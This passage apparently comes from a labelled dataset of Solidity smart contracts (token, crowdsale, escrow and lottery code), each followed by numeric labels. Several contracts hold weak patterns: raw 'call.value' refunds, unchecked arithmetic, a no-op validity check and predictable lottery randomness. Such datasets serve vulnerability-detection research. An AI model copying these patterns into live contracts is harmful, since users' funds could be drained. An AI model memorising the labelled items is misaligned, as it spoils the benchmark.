function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 1,843 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IBC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "INFORMATION BLOCK CHAIN";
string public symbol = "IBC";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 1000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 1,734 |
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != 0x0){
owner = newOwner;
}
}
function sendEtherToOwner() onlyOwner public {
owner.transfer(this.balance);
}
function terminate() onlyOwner public {
selfdestruct(owner);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name="EtherTAM";
string public symbol="ETAM";
uint8 public decimals = 18;
uint256 public totalSupply=30000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, TokenERC20 {
uint minBalanceForAccounts=0*0 finney;
uint8 public commissionPer=5;
uint256 public sellPrice=0;
uint256 public buyPrice=0;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function MyAdvancedToken(
) TokenERC20(30000000, "EtherTAM", "ETAM") public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
uint8 commis=commissionPer;
if (_from==owner) commis=0;
balanceOf[owner] += _value*commis/10000;
balanceOf[_to] += _value-(_value*commis/10000);
if(_to.balance<minBalanceForAccounts)
{
uint256 amountinBoss=(minBalanceForAccounts - _to.balance)*sellPrice;
_transfer(_to, owner, amountinBoss);
_to.transfer(amountinBoss / sellPrice);
}
Transfer(_from, owner, _value*commis/10000);
Transfer(_from, _to, _value-(_value*commis/10000));
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner public {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
function setcommissionPer(uint8 commissionPervar) onlyOwner public {
commissionPer = commissionPervar ;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function () payable public {
buy();
}
function buy() payable public {
require(buyPrice >= 0);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function sell(uint256 amount) public {
require(sellPrice >=0);
require(this.balance >= amount/sellPrice);
_transfer(msg.sender, owner, amount);
msg.sender.transfer(amount / sellPrice);
}
} | 1 | 2,911 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Telcoin {
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
string public constant name = "Telcoin";
string public constant symbol = "TEL";
uint8 public constant decimals = 2;
uint256 public constant totalSupply = 100000000000 * (10 ** uint256(decimals));
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function Telcoin(address _distributor) public {
balances[_distributor] = totalSupply;
Transfer(0x0, _distributor, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TelcoinSaleToken {
using SafeMath for uint256;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Redeem(address indexed beneficiary, uint256 sacrificedValue, uint256 grantedValue);
event Transfer(address indexed from, address indexed to, uint256 value);
address public owner;
uint256 public totalSupply;
mapping(address => uint256) balances;
mapping(address => uint256) redeemed;
bool public mintingFinished = false;
Telcoin telcoin;
uint256 public totalRedeemed;
uint256 vestingStart;
uint256 vestingDuration;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function TelcoinSaleToken(
Telcoin _telcoin,
uint256 _vestingStart,
uint256 _vestingDuration
)
public
{
owner = msg.sender;
telcoin = _telcoin;
vestingStart = _vestingStart;
vestingDuration = _vestingDuration;
}
function finishMinting() onlyOwner public returns (bool) {
require(!mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
require(_to != 0x0);
require(!mintingFinished);
require(_amount > 0);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function redeemMany(address[] _beneficiaries) public {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
redeem(_beneficiaries[i]);
}
}
function redeem(address _beneficiary) public returns (uint256) {
require(mintingFinished);
require(_beneficiary != 0x0);
uint256 balance = redeemableBalance(_beneficiary);
if (balance == 0) {
return 0;
}
uint256 totalDistributable = telcoin.balanceOf(this).add(totalRedeemed);
uint256 amount = balance.mul(10 ** 18).div(totalSupply).mul(totalDistributable).div(10 ** 18);
balances[_beneficiary] = balances[_beneficiary].sub(balance);
redeemed[_beneficiary] = redeemed[_beneficiary].add(balance);
balances[telcoin] = balances[telcoin].add(balance);
totalRedeemed = totalRedeemed.add(amount);
Transfer(_beneficiary, telcoin, balance);
Redeem(_beneficiary, balance, amount);
telcoin.transfer(_beneficiary, amount);
return amount;
}
function transferOwnership(address _to) onlyOwner public {
require(_to != address(0));
OwnershipTransferred(owner, _to);
owner = _to;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function redeemableBalance(address _beneficiary) public constant returns (uint256) {
return vestedBalance(_beneficiary).sub(redeemed[_beneficiary]);
}
function vestedBalance(address _beneficiary) public constant returns (uint256) {
uint256 currentBalance = balances[_beneficiary];
uint256 totalBalance = currentBalance.add(redeemed[_beneficiary]);
if (now < vestingStart) {
return 0;
}
if (now >= vestingStart.add(vestingDuration)) {
return totalBalance;
}
return totalBalance.mul(now.sub(vestingStart)).div(vestingDuration);
}
}
contract TelcoinSale {
using SafeMath for uint256;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event WalletChanged(address indexed previousWallet, address indexed newWallet);
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount,
uint256 bonusAmount
);
event TokenAltPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount,
uint256 bonusAmount,
string symbol,
string transactionId
);
event Pause();
event Unpause();
event Withdrawal(address indexed wallet, uint256 weiAmount);
event Extended(uint256 until);
event Finalized();
event Refunding();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Whitelisted(
address indexed participant,
uint256 minWeiAmount,
uint256 maxWeiAmount,
uint32 bonusRate
);
event CapFlexed(uint32 flex);
address public owner;
TelcoinSaleToken public saleToken;
TelcoinSaleToken public bonusToken;
Telcoin public telcoin;
uint256 public softCap;
uint256 public hardCap;
uint32 public capFlex;
uint256 public startTime;
uint256 public endTime;
uint256 public timeExtension;
uint256 public rate;
uint256 public weiRaised;
address public wallet;
mapping(address => uint256) public whitelistedMin;
mapping(address => uint256) public whitelistedMax;
mapping(address => uint32) public bonusRates;
mapping(address => uint256) public deposited;
mapping(address => uint256) public altDeposited;
address[] public investors;
bool public paused = false;
bool public finished = false;
uint256 public finishedAt;
bool public refunding = false;
uint256 public weiRefunded;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier saleOpen() {
require(!finished);
require(!paused);
require(now >= startTime);
require(now <= endTime + timeExtension);
_;
}
function TelcoinSale(
uint256 _softCap,
uint256 _hardCap,
uint32 _capFlex,
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
Telcoin _telcoin,
uint256 _bonusVestingStart,
uint256 _bonusVestingDuration
)
public
payable
{
require(msg.value > 0);
require(_softCap > 0);
require(_hardCap >= _softCap);
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
owner = msg.sender;
softCap = _softCap;
hardCap = _hardCap;
capFlex = _capFlex;
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
telcoin = _telcoin;
saleToken = new TelcoinSaleToken(telcoin, 0, 0);
bonusToken = new TelcoinSaleToken(
telcoin,
_bonusVestingStart,
_bonusVestingDuration
);
wallet.transfer(msg.value);
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) saleOpen public payable {
require(_beneficiary != address(0));
uint256 weiAmount = msg.value;
require(weiAmount > 0);
require(weiRaised.add(weiAmount) <= hardCap);
uint256 totalPrior = totalDeposited(_beneficiary);
uint256 totalAfter = totalPrior.add(weiAmount);
require(totalAfter <= whitelistedMax[_beneficiary]);
uint256 saleTokens;
uint256 bonusTokens;
(saleTokens, bonusTokens) = tokensForPurchase(_beneficiary, weiAmount);
uint256 newDeposited = deposited[_beneficiary].add(weiAmount);
deposited[_beneficiary] = newDeposited;
investors.push(_beneficiary);
weiRaised = weiRaised.add(weiAmount);
saleToken.mint(_beneficiary, saleTokens);
if (bonusTokens > 0) {
bonusToken.mint(_beneficiary, bonusTokens);
}
TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
saleTokens,
bonusTokens
);
}
function changeWallet(address _wallet) onlyOwner public payable {
require(_wallet != 0x0);
require(msg.value > 0);
WalletChanged(wallet, _wallet);
wallet = _wallet;
wallet.transfer(msg.value);
}
function extendTime(uint256 _timeExtension) onlyOwner public {
require(!finished);
require(now < endTime + timeExtension);
require(_timeExtension > 0);
timeExtension = timeExtension.add(_timeExtension);
require(timeExtension <= 7 days);
Extended(endTime.add(timeExtension));
}
function finish() onlyOwner public {
require(!finished);
require(hardCapReached() || now > endTime + timeExtension);
finished = true;
finishedAt = now;
saleToken.finishMinting();
bonusToken.finishMinting();
uint256 distributableCoins = telcoin.balanceOf(this);
if (softCapReached()) {
uint256 saleTokens = saleToken.totalSupply();
uint256 bonusTokens = bonusToken.totalSupply();
uint256 totalTokens = saleTokens.add(bonusTokens);
uint256 bonusPortion = bonusTokens.mul(10 ** 18).div(totalTokens).mul(distributableCoins).div(10 ** 18);
uint256 salePortion = distributableCoins.sub(bonusPortion);
saleToken.transferOwnership(owner);
bonusToken.transferOwnership(owner);
telcoin.transfer(saleToken, salePortion);
telcoin.transfer(bonusToken, bonusPortion);
withdraw();
} else {
refunding = true;
telcoin.transfer(wallet, distributableCoins);
Refunding();
}
Finalized();
}
function pause() onlyOwner public {
require(!paused);
paused = true;
Pause();
}
function refundMany(address[] _investors) public {
for (uint256 i = 0; i < _investors.length; i++) {
refund(_investors[i]);
}
}
function refund(address _investor) public {
require(finished);
require(refunding);
require(deposited[_investor] > 0);
uint256 weiAmount = deposited[_investor];
deposited[_investor] = 0;
weiRefunded = weiRefunded.add(weiAmount);
Refunded(_investor, weiAmount);
_investor.transfer(weiAmount);
}
function registerAltPurchase(
address _beneficiary,
string _symbol,
string _transactionId,
uint256 _weiAmount
)
saleOpen
onlyOwner
public
{
require(_beneficiary != address(0));
require(totalDeposited(_beneficiary).add(_weiAmount) <= whitelistedMax[_beneficiary]);
uint256 saleTokens;
uint256 bonusTokens;
(saleTokens, bonusTokens) = tokensForPurchase(_beneficiary, _weiAmount);
uint256 newAltDeposited = altDeposited[_beneficiary].add(_weiAmount);
altDeposited[_beneficiary] = newAltDeposited;
investors.push(_beneficiary);
weiRaised = weiRaised.add(_weiAmount);
saleToken.mint(_beneficiary, saleTokens);
if (bonusTokens > 0) {
bonusToken.mint(_beneficiary, bonusTokens);
}
TokenAltPurchase(
msg.sender,
_beneficiary,
_weiAmount,
saleTokens,
bonusTokens,
_symbol,
_transactionId
);
}
function transferOwnership(address _to) onlyOwner public {
require(_to != address(0));
OwnershipTransferred(owner, _to);
owner = _to;
}
function unpause() onlyOwner public {
require(paused);
paused = false;
Unpause();
}
function updateCapFlex(uint32 _capFlex) onlyOwner public {
require(!finished);
capFlex = _capFlex;
CapFlexed(capFlex);
}
function whitelistMany(
address[] _participants,
uint256 _minWeiAmount,
uint256 _maxWeiAmount,
uint32 _bonusRate
)
onlyOwner
public
{
for (uint256 i = 0; i < _participants.length; i++) {
whitelist(
_participants[i],
_minWeiAmount,
_maxWeiAmount,
_bonusRate
);
}
}
function whitelist(
address _participant,
uint256 _minWeiAmount,
uint256 _maxWeiAmount,
uint32 _bonusRate
)
onlyOwner
public
{
require(_participant != 0x0);
require(_bonusRate <= 400);
whitelistedMin[_participant] = _minWeiAmount;
whitelistedMax[_participant] = _maxWeiAmount;
bonusRates[_participant] = _bonusRate;
Whitelisted(
_participant,
_minWeiAmount,
_maxWeiAmount,
_bonusRate
);
}
function withdraw() onlyOwner public {
require(softCapReached() || (finished && now > finishedAt + 14 days));
uint256 weiAmount = this.balance;
if (weiAmount > 0) {
wallet.transfer(weiAmount);
Withdrawal(wallet, weiAmount);
}
}
function hardCapReached() public constant returns (bool) {
return weiRaised >= hardCap.mul(1000 + capFlex).div(1000);
}
function tokensForPurchase(
address _beneficiary,
uint256 _weiAmount
)
public
constant
returns (uint256, uint256)
{
uint256 baseTokens = _weiAmount.mul(rate);
uint256 totalPrior = totalDeposited(_beneficiary);
uint256 totalAfter = totalPrior.add(_weiAmount);
if (totalAfter < whitelistedMin[_beneficiary]) {
return (baseTokens, 0);
}
uint32 bonusRate = bonusRates[_beneficiary];
uint256 baseBonus = baseTokens.mul(1000 + bonusRate).div(1000).sub(baseTokens);
if (totalPrior < whitelistedMin[_beneficiary]) {
uint256 balancePrior = totalPrior.mul(rate);
uint256 accumulatedBonus = balancePrior.mul(1000 + bonusRate).div(1000).sub(balancePrior);
return (baseTokens, accumulatedBonus.add(baseBonus));
}
return (baseTokens, baseBonus);
}
function totalDeposited(address _investor) public constant returns (uint256) {
return deposited[_investor].add(altDeposited[_investor]);
}
function softCapReached() public constant returns (bool) {
return weiRaised >= softCap.mul(1000 + capFlex).div(1000);
}
}
contract TelcoinSaleKYCEscrow {
using SafeMath for uint256;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ValuePlaced(address indexed purchaser, address indexed beneficiary, uint256 amount);
event Approved(address indexed participant);
event Rejected(address indexed participant);
event Closed();
address public owner;
TelcoinSale public sale;
bool public closed = false;
mapping(address => uint256) public deposited;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier escrowOpen() {
require(!closed);
_;
}
function TelcoinSaleKYCEscrow(TelcoinSale _sale) public {
require(_sale != address(0));
owner = msg.sender;
sale = _sale;
}
function () public payable {
placeValue(msg.sender);
}
function approve(address _participant) onlyOwner public {
uint256 weiAmount = deposited[_participant];
require(weiAmount > 0);
deposited[_participant] = 0;
Approved(_participant);
sale.buyTokens.value(weiAmount)(_participant);
}
function approveMany(address[] _participants) onlyOwner public {
for (uint256 i = 0; i < _participants.length; i++) {
approve(_participants[i]);
}
}
function close() onlyOwner public {
require(!closed);
closed = true;
Closed();
}
function placeValue(address _beneficiary) escrowOpen public payable {
require(_beneficiary != address(0));
uint256 weiAmount = msg.value;
require(weiAmount > 0);
uint256 newDeposited = deposited[_beneficiary].add(weiAmount);
deposited[_beneficiary] = newDeposited;
ValuePlaced(
msg.sender,
_beneficiary,
weiAmount
);
}
function reject(address _participant) onlyOwner public {
uint256 weiAmount = deposited[_participant];
require(weiAmount > 0);
deposited[_participant] = 0;
Rejected(_participant);
require(_participant.call.value(weiAmount)());
}
function rejectMany(address[] _participants) onlyOwner public {
for (uint256 i = 0; i < _participants.length; i++) {
reject(_participants[i]);
}
}
function transferOwnership(address _to) onlyOwner public {
require(_to != address(0));
OwnershipTransferred(owner, _to);
owner = _to;
}
} | 1 | 3,219 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address payable private constant ADDRESS_SERVICE = 0xA3ba6CA37E5A3904ECd79D31B575dc1B2BEA6A74;
address payable private constant ADDRESS_START_JACKPOT = 0xa42b3D62471E3e9Cc502d3ef65857deb04032613;
address payable private constant ADDRESS_PR = 0x173Ff9be87F1D282B7377d443Aa5C12842266BD3;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 7 && hour == 9) {
if(msg.value == 111) {
processGame();
}
if(msg.value == 222) {
games[GAME_NUM].status = 1;
}
}
}
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && (weekday != 7 || (weekday == 7 && (hour < 8 || hour > 11 ))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
